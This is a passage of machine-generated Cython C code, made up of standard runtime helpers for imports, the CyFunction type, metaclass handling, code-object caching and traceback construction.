tmp_tb; } #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); PyErr_SetExcInfo(*type, *value, *tb); *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #endif /* GetModuleGlobalName */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name) { PyObject *result; #if !CYTHON_AVOID_BORROWED_REFS result = PyDict_GetItem(__pyx_d, name); if (likely(result)) { Py_INCREF(result); } else { #else result = PyObject_GetItem(__pyx_d, name); if (!result) { PyErr_Clear(); #endif result = __Pyx_GetBuiltinName(name); } return result; } /* Import */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { PyObject *empty_list = 0; PyObject *module = 0; PyObject *global_dict = 0; PyObject *empty_dict = 0; PyObject *list; #if PY_VERSION_HEX < 0x03030000 PyObject *py_import; py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); if (!py_import) goto bad; #endif if (from_list) list = from_list; else { empty_list = PyList_New(0); if (!empty_list) goto bad; list = empty_list; } global_dict = PyModule_GetDict(__pyx_m); if (!global_dict) goto bad; empty_dict = PyDict_New(); if (!empty_dict) goto bad; { #if PY_MAJOR_VERSION >= 3 if (level == -1) { if (strchr(__Pyx_MODULE_NAME, '.')) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(1); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, 1); #endif if (!module) { if (!PyErr_ExceptionMatches(PyExc_ImportError)) goto bad; PyErr_Clear(); } } level = 0; } #endif if (!module) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(level); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, level); #endif } } bad: #if PY_VERSION_HEX < 0x03030000 Py_XDECREF(py_import); #endif Py_XDECREF(empty_list); Py_XDECREF(empty_dict); return module; } /* ImportFrom */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Format(PyExc_ImportError, #if PY_MAJOR_VERSION < 3 "cannot import name %.230s", PyString_AS_STRING(name)); #else "cannot import name %S", name); #endif } return value; } /* FetchCommonType */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { PyObject* fake_module; PyTypeObject* cached_type = NULL; fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); if (!fake_module) return NULL; Py_INCREF(fake_module); cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); if (cached_type) { if (!PyType_Check((PyObject*)cached_type)) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s is not a type object", type->tp_name); goto bad; } if (cached_type->tp_basicsize != type->tp_basicsize) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s has the wrong size, try recompiling", type->tp_name); goto bad; } } else { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; PyErr_Clear(); if (PyType_Ready(type) < 0) goto bad; if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) goto bad; Py_INCREF(type); cached_type = type; } done: Py_DECREF(fake_module); return cached_type; bad: Py_XDECREF(cached_type); cached_type = NULL; goto done; } /* CythonFunction */ static PyObject * __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure) { if (unlikely(op->func_doc == NULL)) { if (op->func.m_ml->ml_doc) { #if PY_MAJOR_VERSION >= 3 op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc); #else op->func_doc = PyString_FromString(op->func.m_ml->ml_doc); #endif if (unlikely(op->func_doc == NULL)) return NULL; } else { Py_INCREF(Py_None); return Py_None; } } Py_INCREF(op->func_doc); return op->func_doc; } static int __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp = op->func_doc; if (value == NULL) { value = Py_None; } Py_INCREF(value); op->func_doc = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op) { if (unlikely(op->func_name == NULL)) { #if PY_MAJOR_VERSION >= 3 op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name); #else op->func_name = PyString_InternFromString(op->func.m_ml->ml_name); #endif if (unlikely(op->func_name == NULL)) return NULL; } Py_INCREF(op->func_name); return op->func_name; } static int __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = op->func_name; Py_INCREF(value); op->func_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_qualname); return op->func_qualname; } static int __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = op->func_qualname; Py_INCREF(value); op->func_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure) { PyObject *self; self = m->func_closure; if (self == NULL) self = Py_None; Py_INCREF(self); return self; } static PyObject * __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op) { if (unlikely(op->func_dict == NULL)) { op->func_dict = PyDict_New(); if (unlikely(op->func_dict == NULL)) return NULL; } Py_INCREF(op->func_dict); return op->func_dict; } static int __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; if (unlikely(value == NULL)) { PyErr_SetString(PyExc_TypeError, "function's dictionary may not be deleted"); return -1; } if (unlikely(!PyDict_Check(value))) { PyErr_SetString(PyExc_TypeError, "setting function's dictionary to a non-dict"); return -1; } tmp = op->func_dict; Py_INCREF(value); op->func_dict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_globals); return op->func_globals; } static PyObject * __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op) { Py_INCREF(Py_None); return Py_None; } static PyObject * __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op) { PyObject* result = (op->func_code) ? op->func_code : Py_None; Py_INCREF(result); return result; } static int __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { int result = 0; PyObject *res = op->defaults_getter((PyObject *) op); if (unlikely(!res)) return -1; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS op->defaults_tuple = PyTuple_GET_ITEM(res, 0); Py_INCREF(op->defaults_tuple); op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); Py_INCREF(op->defaults_kwdict); #else op->defaults_tuple = PySequence_ITEM(res, 0); if (unlikely(!op->defaults_tuple)) result = -1; else { op->defaults_kwdict = PySequence_ITEM(res, 1); if (unlikely(!op->defaults_kwdict)) result = -1; } #endif Py_DECREF(res); return result; } static int __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyTuple_Check(value)) { PyErr_SetString(PyExc_TypeError, "__defaults__ must be set to a tuple object"); return -1; } Py_INCREF(value); tmp = op->defaults_tuple; op->defaults_tuple = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_tuple; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_tuple; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__kwdefaults__ must be set to a dict object"); return -1; } Py_INCREF(value); tmp = op->defaults_kwdict; op->defaults_kwdict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_kwdict; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_kwdict; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value || value == Py_None) { value = NULL; } else if (!PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__annotations__ must be set to a dict object"); return -1; } Py_XINCREF(value); tmp = op->func_annotations; op->func_annotations = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op) { PyObject* result = op->func_annotations; if (unlikely(!result)) { result = PyDict_New(); if (unlikely(!result)) return NULL; op->func_annotations = result; } Py_INCREF(result); return result; } static PyGetSetDef __pyx_CyFunction_getsets[] = { {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0}, {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, {0, 0, 0, 0, 0} }; static PyMemberDef __pyx_CyFunction_members[] = { {(char *) "__module__", T_OBJECT, offsetof(__pyx_CyFunctionObject, func.m_module), PY_WRITE_RESTRICTED, 0}, {0, 0, 0, 0, 0} }; static PyObject * __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromString(m->func.m_ml->ml_name); #else return PyString_FromString(m->func.m_ml->ml_name); #endif } static PyMethodDef __pyx_CyFunction_methods[] = { {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, {0, 0, 0, 0} }; #if PY_VERSION_HEX < 0x030500A0 #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) #else #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist) #endif static PyObject *__Pyx_CyFunction_New(PyTypeObject *type, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { __pyx_CyFunctionObject *op = PyObject_GC_New(__pyx_CyFunctionObject, type); if (op == NULL) return NULL; op->flags = flags; __Pyx_CyFunction_weakreflist(op) = NULL; op->func.m_ml = ml; op->func.m_self = (PyObject *) op; Py_XINCREF(closure); op->func_closure = closure; Py_XINCREF(module); op->func.m_module = module; op->func_dict = NULL; op->func_name = NULL; Py_INCREF(qualname); op->func_qualname = qualname; op->func_doc = NULL; op->func_classobj = NULL; op->func_globals = globals; Py_INCREF(op->func_globals); Py_XINCREF(code); op->func_code = code; op->defaults_pyobjects = 0; op->defaults = NULL; op->defaults_tuple = NULL; op->defaults_kwdict = NULL; op->defaults_getter = NULL; op->func_annotations = NULL; PyObject_GC_Track(op); return (PyObject *) op; } static int __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) { Py_CLEAR(m->func_closure); Py_CLEAR(m->func.m_module); Py_CLEAR(m->func_dict); Py_CLEAR(m->func_name); Py_CLEAR(m->func_qualname); Py_CLEAR(m->func_doc); Py_CLEAR(m->func_globals); Py_CLEAR(m->func_code); Py_CLEAR(m->func_classobj); Py_CLEAR(m->defaults_tuple); Py_CLEAR(m->defaults_kwdict); Py_CLEAR(m->func_annotations); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_XDECREF(pydefaults[i]); PyObject_Free(m->defaults); m->defaults = NULL; } return 0; } static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) { PyObject_GC_UnTrack(m); if (__Pyx_CyFunction_weakreflist(m) != NULL) PyObject_ClearWeakRefs((PyObject *) m); __Pyx_CyFunction_clear(m); PyObject_GC_Del(m); } static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) { Py_VISIT(m->func_closure); Py_VISIT(m->func.m_module); Py_VISIT(m->func_dict); Py_VISIT(m->func_name); Py_VISIT(m->func_qualname); Py_VISIT(m->func_doc); Py_VISIT(m->func_globals); Py_VISIT(m->func_code); Py_VISIT(m->func_classobj); Py_VISIT(m->defaults_tuple); Py_VISIT(m->defaults_kwdict); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_VISIT(pydefaults[i]); } return 0; } static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) { Py_INCREF(func); return func; } if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) { if (type == NULL) type = (PyObject *)(Py_TYPE(obj)); return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type))); } if (obj == Py_None) obj = NULL; return __Pyx_PyMethod_New(func, obj, type); } static PyObject* __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromFormat("<cyfunction %U at %p>", op->func_qualname, (void *)op); #else return PyString_FromFormat("<cyfunction %s at %p>", PyString_AsString(op->func_qualname), (void *)op); #endif } static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { PyCFunctionObject* f = (PyCFunctionObject*)func; PyCFunction meth = f->m_ml->ml_meth; Py_ssize_t size; switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { case METH_VARARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) return (*meth)(self, arg); break; case METH_VARARGS | METH_KEYWORDS: return (*(PyCFunctionWithKeywords)meth)(self, arg, kw); case METH_NOARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 0)) return (*meth)(self, NULL); PyErr_Format(PyExc_TypeError, "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; case METH_O: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 1)) { PyObject *result, *arg0 = PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; result = (*meth)(self, arg0); Py_DECREF(arg0); return result; } PyErr_Format(PyExc_TypeError, "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; default: PyErr_SetString(PyExc_SystemError, "Bad call flags in " "__Pyx_CyFunction_Call. METH_OLDARGS is no " "longer supported!"); return NULL; } PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", f->m_ml->ml_name); return NULL; } static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw); } static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { PyObject *result; __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { Py_ssize_t argc; PyObject *new_args; PyObject *self; argc = PyTuple_GET_SIZE(args); new_args = PyTuple_GetSlice(args, 1, argc); if (unlikely(!new_args)) return NULL; self = PyTuple_GetItem(args, 0); if (unlikely(!self)) { Py_DECREF(new_args); return NULL; } result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); Py_DECREF(new_args); } else { result = __Pyx_CyFunction_Call(func, args, kw); } return result; } static PyTypeObject __pyx_CyFunctionType_type = { PyVarObject_HEAD_INIT(0, 0) "cython_function_or_method", sizeof(__pyx_CyFunctionObject), 0, (destructor) __Pyx_CyFunction_dealloc, 0, 0, 0, #if PY_MAJOR_VERSION < 3 0, #else 0, #endif (reprfunc) __Pyx_CyFunction_repr, 0, 0, 0, 0, __Pyx_CyFunction_CallAsMethod, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, 0, (traverseproc) __Pyx_CyFunction_traverse, (inquiry) __Pyx_CyFunction_clear, 0, #if PY_VERSION_HEX < 0x030500A0 offsetof(__pyx_CyFunctionObject, func_weakreflist), #else offsetof(PyCFunctionObject, m_weakreflist), #endif 0, 0, __pyx_CyFunction_methods, __pyx_CyFunction_members, __pyx_CyFunction_getsets, 0, 0, __Pyx_CyFunction_descr_get, 0, offsetof(__pyx_CyFunctionObject, func_dict), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if PY_VERSION_HEX >= 0x030400a1 0, #endif }; static int __pyx_CyFunction_init(void) { __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); if (__pyx_CyFunctionType == NULL) { return -1; } return 0; } static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults = PyObject_Malloc(size); if (!m->defaults) return PyErr_NoMemory(); memset(m->defaults, 0, size); m->defaults_pyobjects = pyobjects; return m->defaults; } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_tuple = tuple; Py_INCREF(tuple); } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_kwdict = dict; Py_INCREF(dict); } static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->func_annotations = dict; Py_INCREF(dict); } /* CalculateMetaclass */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { Py_ssize_t i, nbases = PyTuple_GET_SIZE(bases); for (i=0; i < nbases; i++) { PyTypeObject *tmptype; PyObject *tmp = PyTuple_GET_ITEM(bases, i); tmptype = Py_TYPE(tmp); #if PY_MAJOR_VERSION < 3 if (tmptype == &PyClass_Type) continue; #endif if (!metaclass) { metaclass = tmptype; continue; } if (PyType_IsSubtype(metaclass, tmptype)) continue; if (PyType_IsSubtype(tmptype, metaclass)) { metaclass = tmptype; continue; } PyErr_SetString(PyExc_TypeError, "metaclass conflict: " "the metaclass of a derived class " "must be a (non-strict) subclass " "of the metaclasses of all its bases"); return NULL; } if (!metaclass) { #if PY_MAJOR_VERSION < 3 metaclass = &PyClass_Type; #else metaclass = &PyType_Type; #endif } Py_INCREF((PyObject*) metaclass); return (PyObject*) metaclass; } /* Py3ClassCreate */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { PyObject *ns; if (metaclass) { PyObject *prep = __Pyx_PyObject_GetAttrStr(metaclass, __pyx_n_s_prepare); if (prep) { PyObject *pargs = PyTuple_Pack(2, name, bases); if (unlikely(!pargs)) { Py_DECREF(prep); return NULL; } ns = PyObject_Call(prep, pargs, mkw); Py_DECREF(prep); Py_DECREF(pargs); } else { if (unlikely(!PyErr_ExceptionMatches(PyExc_AttributeError))) return NULL; PyErr_Clear(); ns = PyDict_New(); } } else { ns = PyDict_New(); } if (unlikely(!ns)) return NULL; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; return ns; bad: Py_DECREF(ns); return NULL; } static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass) { PyObject *result, *margs; PyObject *owned_metaclass = NULL; if (allow_py2_metaclass) { owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); if (owned_metaclass) { metaclass = owned_metaclass; } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { PyErr_Clear(); } else { return NULL; } } if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); Py_XDECREF(owned_metaclass); if (unlikely(!metaclass)) return NULL; owned_metaclass = metaclass; } margs = PyTuple_Pack(3, name, bases, dict); if (unlikely(!margs)) { result = NULL; } else { result = PyObject_Call(metaclass, margs, mkw); Py_DECREF(margs); } Py_XDECREF(owned_metaclass); return result; } /* CodeObjectCache */ static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { int start = 0, mid = 0, end = count - 1; if (end >= 0 && code_line > entries[end].code_line) { return count; } while (start < end) { mid = start + (end - start) / 2; if (code_line < entries[mid].code_line) { end = mid; } else if (code_line > entries[mid].code_line) { start = mid + 1; } else { return mid; } } if (code_line <= entries[mid].code_line) { return mid; } else { return mid + 1; } } static PyCodeObject *__pyx_find_code_object(int code_line) { PyCodeObject* code_object; int pos; if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { return NULL; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { return NULL; } code_object = __pyx_code_cache.entries[pos].code_object; Py_INCREF(code_object); return code_object; } static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { int pos, i; __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; if (unlikely(!code_line)) { return; } if (unlikely(!entries)) { entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); if (likely(entries)) { __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = 64; __pyx_code_cache.count = 1; entries[0].code_line = code_line; entries[0].code_object = code_object; Py_INCREF(code_object); } return; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { PyCodeObject* tmp = entries[pos].code_object; entries[pos].code_object = code_object; Py_DECREF(tmp); return; } if (__pyx_code_cache.count == __pyx_code_cache.max_count) { int new_max = __pyx_code_cache.max_count + 64; entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry)); if (unlikely(!entries)) { return; } __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = new_max; } for (i=__pyx_code_cache.count; i>pos; i--) { entries[i] = entries[i-1]; } entries[pos].code_line = code_line; entries[pos].code_object = code_object; __pyx_code_cache.count++; Py_INCREF(code_object); } /* AddTraceback */ #include "compile.h" #include "frameobject.h" #include "traceback.h" static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyObject *py_srcfile = 0; PyObject *py_funcname = 0; #if PY_MAJOR_VERSION < 3 py_srcfile = PyString_FromString(filename); #else py_srcfile = PyUnicode_FromString(filename); #endif if (!py_srcfile) goto bad; if (c_line) { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #else py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #endif } else { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromString(funcname); #else py_funcname = PyUnicode_FromString(funcname); #endif } if (!py_funcname) goto bad; py_code = __Pyx_PyCode_New( 0, 0, 0, 0, 0, __pyx_empty_bytes, /*PyObject *code,*/ __pyx_empty_tuple, /*PyObject *consts,*/ __pyx_empty_tuple, /*PyObject *names,*/ __pyx_empty_tuple, /*PyObject *varnames,*/ __pyx_empty_tuple, /*PyObject *freevars,*/ __pyx_empty_tuple, /*PyObject *cellvars,*/ py_srcfile, /*PyObject *filename,*/ py_funcname, /*PyObject *name,*/ py_line, __pyx_empty_bytes /*PyObject *lnotab*/ ); Py_DECREF(py_srcfile); Py_DECREF(py_funcname); return py_code; bad: Py_XDECREF(py_srcfile); Py_XDECREF(py_funcname); return NULL; } static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyFrameObject *py_frame = 0; py_code = __pyx_find_code_object(c_line ? c_line : py_line); if (!py_code) { py_code = __Pyx_CreateCodeObjectForTraceback( funcname, c_line, py_line, filename); if (!py_code) goto bad; __pyx_insert_code_object(c_line ? c_line : py_line, py_code); } py_frame = PyFrame_New( PyThreadState_GET(), /*PyThreadState *tstate,*/ py_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (!py_frame) goto bad; __Pyx_PyFrame_SetLineNumber(py_frame, py_line); PyTraceBack_Here(py_frame); bad: Py_XDECREF(py_code); Py_XDECREF(py_frame); } /* CIntFromPyVerify */ #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ {\ func_type value = func_value;\ if (sizeof(target_type) < sizeof(func_type)) {\ if (unlikely(value != (func_type) (target_type) value)) {\ func_type zero = 0;\ if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ return (target_type) -1;\ if (is_unsigned && unlikely(value < zero))\ goto raise_neg_overflow;\ else\ goto raise_overflow;\ }\ }\ return (target_type) value;\ } /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(long) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(long) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(long) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(long), little, !is_unsigned); } } 